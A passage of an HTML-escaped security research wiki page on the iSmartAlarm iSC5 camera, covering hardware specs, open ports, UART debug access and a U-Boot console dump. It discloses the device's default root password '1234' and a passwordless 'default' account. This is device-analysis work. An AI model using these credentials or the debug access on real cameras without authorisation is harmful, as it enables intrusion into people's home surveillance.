&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;iSC5-MCUP01 V2.2 (iSC5-B01), iSC5-SENP01 V1.1 (iSC5-B02), iSC5-LEDP01 V3.0 (iSC5-B03)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Baudrate&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;115200 (8N1)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Bootdelay&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;0 (Hold any key on start)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Bootloader&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;U-Boot 2011.09&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;mtdparts&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;dev:    size   erasesize  name&amp;lt;br&amp;gt;&lt;br /&gt;
mtd0: 000c0000 00008000 &amp;quot;uboot&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd1: 00300000 00008000 &amp;quot;kernel&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd2: 00700000 00008000 &amp;quot;rootfs&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd3: 00400000 00008000 &amp;quot;rescue&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd4: 00100000 00008000 &amp;quot;etc&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd5: 00040000 00008000 &amp;quot;userconfig&amp;quot;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Filesystem&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;jffs (mtd4), cramfs (root), support for external SD card and USB storage devices&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Image&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;SN98600&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Linux&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.6.35.12&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Kernel cmdline&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;console=ttyS0,115200 root=/dev/mtdblock2 init=/linuxrc mem=64M isp=7M vc=12M vo=0M mtdparts=snx-spi:768k(uboot),3M(kernel),7M(rootfs),4M(rescue),1M(etc),256K(userconfig)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Shell&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;sh, ash&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;BusyBox&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;v1.22.1 (2016) multi-call binary&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Services&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: red;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Network Security&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The iSC5 only uses WLAN to communicate. In order to process with the next chapters, access to the LAN of the router is required.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;span class=&amp;quot;todo&amp;quot; style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Network Mapper&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span class=&amp;quot;todo&amp;quot; style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Open Ports (Factory Default)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;[-] Listening TCP:&lt;br /&gt;
Active Internet connections (only servers)&lt;br /&gt;
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name&lt;br /&gt;
tcp        0      0 0.0.0.0:22306           0.0.0.0:*               LISTEN      606/iSC3S&lt;br /&gt;
tcp        0      0 0.0.0.0:22345           0.0.0.0:*               LISTEN      606/iSC3S&lt;br /&gt;
tcp        0      0 0.0.0.0:10002           0.0.0.0:*               LISTEN      606/iSC3S&lt;br /&gt;
&lt;br /&gt;
[-] Listening UDP:&lt;br /&gt;
Active Internet connections (only servers)&lt;br /&gt;
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name&lt;br /&gt;
udp        0      0 0.0.0.0:10000           0.0.0.0:*                           606/iSC3S&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Mobile App&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;The iSmartAlarm app allows you to arm, monitor, and disarm your iSmartAlarm Home Security System at any time, from anywhere, in real-time. You can see who is home, when family members leave or return, and the status of every sensor and device. It manages all of your iSmartAlarm products, including Contact Sensors, Motion Sensors, iCamera (1st Gen), iCamera KEEP, Smart Switch, and more. Multiple homes and systems can be managed easily in the same app. iSmartAlarm will alert all designated members with SMS text messages, push notifications, automated phone calls, and email when the iSmartAlarm Home Security System detects a break-in or unauthorized activity. Users can then choose how to address the situation appropriately - A call can be placed to the police in case of a break-in, or the alarm can be ignored and the system set to Arm again if it is a false alarm.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://play.google.com/store/apps/details?id=iSA.common&amp;amp;hl=en&amp;amp;gl=US Play Store]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left;&amp;quot;&amp;gt;OS&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left;&amp;quot;&amp;gt;Link&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;Android&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;https://play.google.com/store/apps/details?id=iSA.common&amp;amp;hl=en&amp;amp;gl=US&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;IOS&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;https://apps.apple.com/us/app/ismartalarm/id615159814&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Only the Android ha been analyzed.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The iCS5 device can only be managed via mobile APP.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The recent verison doesnt work&lt;br /&gt;
I used 2.0.8&lt;br /&gt;
Wifi setup is not working device is transmitting &amp;lt;unknown SSID&amp;gt;&lt;br /&gt;
Password is transmitted encrypted&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Physical Intervention&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 5px&amp;quot;&amp;gt;[https://wiki.elvis.science/index.php?title=Firmware_Acquisition_Techniques#Dissembly Dissembling] the iSC5 has to be proven to be quite hard without damaging the case, and would have be even harder without the [https://fccid.io/SENISC5/Internal-Photos/Internal-Photos-REV-1-2833644 internal photos] provided to the FCC. Additionally this [[https://www.youtube.com/watch?v=OOghPawyIms video]] may be used, which shows how to dissamble the OEM Xiaomi device model where iSmartAlarm install their FW on.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Printed Circuit Board&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt; ‎&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=465px&amp;gt;&lt;br /&gt;
image:ISmartAlarm iSC5-MCUP01 V2 2 (iSC5-B01) Front.jpeg|iSC5-MCUP01 V2.2 Front&lt;br /&gt;
image:ISmartAlarm iSC5-MCUP01 V2 2 (iSC5-B01) Back.jpeg|iSC5-MCUP01 V2.2 Back&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=465px&amp;gt;&lt;br /&gt;
image:ISmartAlarm iSC5-SENP01 V1 1 (iSC5-B02) Front.jpeg|iSC5-SENP01 V1.1 Front&lt;br /&gt;
image:ISmartAlarm iSC5-SENP01 V1 1 (iSC5-B02) Back.jpeg|iSC5-SENP01 V1.1 Back&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=465px&amp;gt;&lt;br /&gt;
image:ISmartAlarm iSC5-LEDP01 V3 0 (iSC5-B03) Front.jpeg|iSC5-LEDP01 V3.0 Front&lt;br /&gt;
image:ISmartAlarm iSC5-LEDP01 V3 0 (iSC5-B03) Back.jpeg|iSC5-LEDP01 V3.0 Back&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Dissambling XIAOMI ISC5 1080P WI-FI CAMERA by [https://www.unifore.net/product-highlights/disassemble-cheapest-xiaomi-isc5-1080p-wi-fi-camera.html GEEKiFIX] &amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;SoC&amp;lt;/h3&amp;gt;&lt;br /&gt;
The SONiX SN98600 / 98601 / 98610 IP Camera SoC integrates powerful image sensor processing, 1080p15 H.264 multi-stream encoding, and ARM9 processor with rich I/O for IP Camera and network video stream server applications. SN98600 / 98601 / 98610 offers excellent video quality and supports varied real-time bitstreams, up to 5 simultaneous streams with different video formats (H.264 and MJPEG), and different resolutions to fit the bandwidth.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Datasheet&amp;lt;/b&amp;gt;: [http://www.sonix.com.tw/article-en-958-13487 SN988601AFG] &amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;On-Chip Debug&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;UART&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Having a UART connection isn&#039;t necessary at any point of time, but it provides great insights on how the device operates and reacts to incomming requests. And to examine the devices&#039; runtime configuration. The UART can be easily identified by just looking at the PCB. Follow the steps in our documentations [https://wiki.elvis.science/index.php?title=Firmware_Acquisition_Techniques#UART Firmware Acquisition Techniques] or [https://wiki.elvis.science/index.php?title=JTAGulator:_Find_IoT-Device%27s_UART_interface JTAGulator: Find IoT-Device&#039;s UART interface] for further information and guidance. The investigated device uses the UART configuration of &amp;lt;code&amp;gt;115200 (8N1)&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;screen /dev/$S_INT 115200,cs8&amp;lt;/code&amp;gt;).&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto; &amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6; margin-bottom: -20px !important&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: UART Setup&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt; ‎&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=300px&amp;gt;&lt;br /&gt;
image:ISmartAlarm iSC5-MCUP01 V2 2 (iSC5-B01) UART Pin assignment.jpeg|UART Pin Assignment&lt;br /&gt;
image:iSmartAlarm_iSC5_UART_Setup.jpeg|No need for soldering.&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Spoiler&amp;lt;/b&amp;gt;: The device provides a user &amp;lt;code&amp;gt;root&amp;lt;/code&amp;gt; with the password &amp;lt;code&amp;gt;1234&amp;lt;/code&amp;gt; and another user &amp;lt;code&amp;gt;default&amp;lt;/code&amp;gt; without any password.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h5&amp;gt;Bootloader&amp;lt;/h5&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The examined device uses the Universal Bootloader (U-Boot). It requires a serial connection using &amp;lt;code&amp;gt;115200 (8N1)&amp;lt;/code&amp;gt; over UART to access. The default boot delay is 0 seconds. Hold any key (e.g. ENTER) while restarting the deivce to access the bootloader.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: U-Boot Configuration&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;NOTE: HOLD KEY (E.G. ENTER) WHILE RESTARTING THE DEVICE TO ACCESS THE BOOTLAODER&lt;br /&gt;
&lt;br /&gt;
U-Boot 2011.09 (May 22 2015 - 16:07:40)&lt;br /&gt;
&lt;br /&gt;
DRAM:  64 MiB&lt;br /&gt;
MMC:   SD Card not detect&lt;br /&gt;
mmci_host_init error - -1&lt;br /&gt;
&lt;br /&gt;
SPI FLASH: 16 MB&lt;br /&gt;
In:    serial&lt;br /&gt;
Out:   serial&lt;br /&gt;
Err:   serial&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
Hit any key to stop autoboot:  0 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sonix # &lt;br /&gt;
sonix # ?&lt;br /&gt;
&lt;br /&gt;
?       - alias for &#039;help&#039;&lt;br /&gt;
bdinfo  - print Board Info structure&lt;br /&gt;
boot    - boot default, i.e., run &#039;bootcmd&#039;&lt;br /&gt;
bootm   - boot application image from memory&lt;br /&gt;
cmp     - memory compare&lt;br /&gt;
cp      - memory copy&lt;br /&gt;
crc32   - checksum calculation&lt;br /&gt;
devinfo - devinfo&lt;br /&gt;
dump    - dump image&lt;br /&gt;
erase   - erase FLASH memory&lt;br /&gt;
eraseetc- eraseetc&lt;br /&gt;
fatinfo - print information about filesystem&lt;br /&gt;
fatload - load binary file from a dos filesystem&lt;br /&gt;
fatls   - list files in a directory (default /)&lt;br /&gt;
fatupdate- update firmware from fat32 filesystem&lt;br /&gt;
flinfo  - print FLASH memory information&lt;br /&gt;
go      - start application at address &#039;addr&#039;&lt;br /&gt;
help    - print command description/usage&lt;br /&gt;
hwcrc16 - hwcrc16 - hardware crc16 calculate&lt;br /&gt;
&lt;br /&gt;
loadb   - load binary file over serial line (kermit mode) and update to flash&lt;br /&gt;
loadkernel- loadkernel&lt;br /&gt;
loady   - load binary file over serial line (ymodem mode) and update to flash&lt;br /&gt;
md      - memory display&lt;br /&gt;
mm      - memory modify (auto-incrementing address)&lt;br /&gt;
mmc     - MMC sub system&lt;br /&gt;
mmcinfo - display MMC info&lt;br /&gt;
mtest   - simple RAM read/write test&lt;br /&gt;
mw      - memory write (fill)&lt;br /&gt;
nand    - NAND sub-system&lt;br /&gt;
nm      - memory modify (constant address)&lt;br /&gt;
printenv- print environment variables&lt;br /&gt;
protect - enable or disable FLASH write protection&lt;br /&gt;
reset   - Perform RESET of the CPU&lt;br /&gt;
saveenv - save environment variables to persistent storage&lt;br /&gt;
setenv  - set environment variables&lt;br /&gt;
spi     - spi - Serial Flash sub-system&lt;br /&gt;
tftpboot- boot image via network using TFTP protocol&lt;br /&gt;
update  - update image, u-env, factory, u-logo, user, kernel, rootfs-r, rootfs-rw&lt;br /&gt;
usb     - USB sub-system&lt;br /&gt;
usbboot - boot from USB device&lt;br /&gt;
verify  - verify image, flash-info, hw-setting, flash-layout, u-boot, rescue, user, factory, kernel, rootfs-r, u-env&lt;br /&gt;
version - print monitor, compiler and linker version&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sonix # bdinfo&lt;br /&gt;
&lt;br /&gt;
arch_number = 0x0000067D&lt;br /&gt;
boot_params = 0x00000100&lt;br /&gt;
DRAM bank   = 0x00000000&lt;br /&gt;
-&amp;gt; start    = 0x00000000&lt;br /&gt;
-&amp;gt; size     = 0x04000000&lt;br /&gt;
ethaddr     = 00:B0:27:08:90:14&lt;br /&gt;
ip_addr     = 10.19.1.194&lt;br /&gt;
baudrate    = 115200 bps&lt;br /&gt;
TLB addr    = 0x03FF0000&lt;br /&gt;
relocaddr   = 0x03D7A000&lt;br /&gt;
reloc off   = 0x0207A000&lt;br /&gt;
irq_sp      = 0x03D19F60&lt;br /&gt;
sp start    = 0x03D19F50&lt;br /&gt;
FB base     = 0x03DF0000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sonix # devinfo&lt;br /&gt;
&lt;br /&gt;
## Device Info Starting ...&lt;br /&gt;
Flash-Type=SPI&lt;br /&gt;
&lt;br /&gt;
SPI : u-boot/factory/kernel/rootfs-r/rootfs-rw/user/u-logo&lt;br /&gt;
hw-setting=0x00000000,0x00000FFF&lt;br /&gt;
u-boot=0x00001000,0x0005FFFF&lt;br /&gt;
u-env=0x00060000,0x0007EFFF&lt;br /&gt;
flash-layout=0x0007F000,0x0007FFFF&lt;br /&gt;
factory=0x00080000,0x000BFFFF&lt;br /&gt;
kernel=0x000C0000,0x003BFFFF&lt;br /&gt;
rootfs-r=0x003C0000,0x00ABFFFF&lt;br /&gt;
rootfs-rw =0x00EC0000,0x00FBFFFF&lt;br /&gt;
user=0x00FC0000,0x00FFFFFF&lt;br /&gt;
u-logo=0x00000000,0x00000000&lt;br /&gt;
rescue=0x00AC0000,0x00EBFFFF&lt;br /&gt;
u-boot.ver=u-boot-2011-09&lt;br /&gt;
u-boot.tm=&lt;br /&gt;
factory.ver=SN98600_1.20_P2P_tstream_033a_20150522_1604&lt;br /&gt;
factory.tm=2016-03-09 19:04&lt;br /&gt;
kernel.ver=SN98600_1.20_P2P_tstream_033a_20150522_1604&lt;br /&gt;
kernel.tm=2017-07-04 18:19&lt;br /&gt;
user.ver=SN98600_1.20_P2P_tstream_005d_20141015_1243&lt;br /&gt;
user.tm=2014-10-20 09:28&lt;br /&gt;
rootfs-r.ver=SN98600_1.20_P2P_tstream_033a_20150522_1604&lt;br /&gt;
rootfs-r.tm=2017-07-04 18:20&lt;br /&gt;
## Device Info End, rc = 0x0&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sonix # printenv&lt;br /&gt;
&lt;br /&gt;
baudrate=115200&lt;br /&gt;
bootargs=console=ttyS0,115200 root=/dev/mtdblock2 init=/linuxrc mem=64M isp=7M vc=12M vo=0M mtdparts=snx-spi:768k(uboot),3M(kernel),7M(rootfs),4M(rescue),1M(etc),256K(userconfig)&lt;br /&gt;
bootcmd=loadkernel 0x00007FFC 0x0;bootm 0x00008000&lt;br /&gt;
bootdelay=0&lt;br /&gt;
bootfile=uImage&lt;br /&gt;
ethaddr=00:B0:27:08:90:14&lt;br /&gt;
gatewayip=10.19.1.254&lt;br /&gt;
ipaddr=10.19.1.194&lt;br /&gt;
netmask=255.255.254.0&lt;br /&gt;
netretry=3&lt;br /&gt;
serverip=172.18.101.141&lt;br /&gt;
stderr=serial&lt;br /&gt;
stdin=serial&lt;br /&gt;
stdout=serial&lt;br /&gt;
&lt;br /&gt;
Environment size: 468/131068 bytes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
sonix # version&lt;br /&gt;
&lt;br /&gt;
U-Boot 2011.09 (May 22 2015 - 16:07:40)&lt;br /&gt;
arm-linux-gcc (SONiX GCC-4.5.2 Release 2011-12-06) 4.5.2&lt;br /&gt;
GNU ld (GNU Binutils) 2.22&lt;br /&gt;
sonix # &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
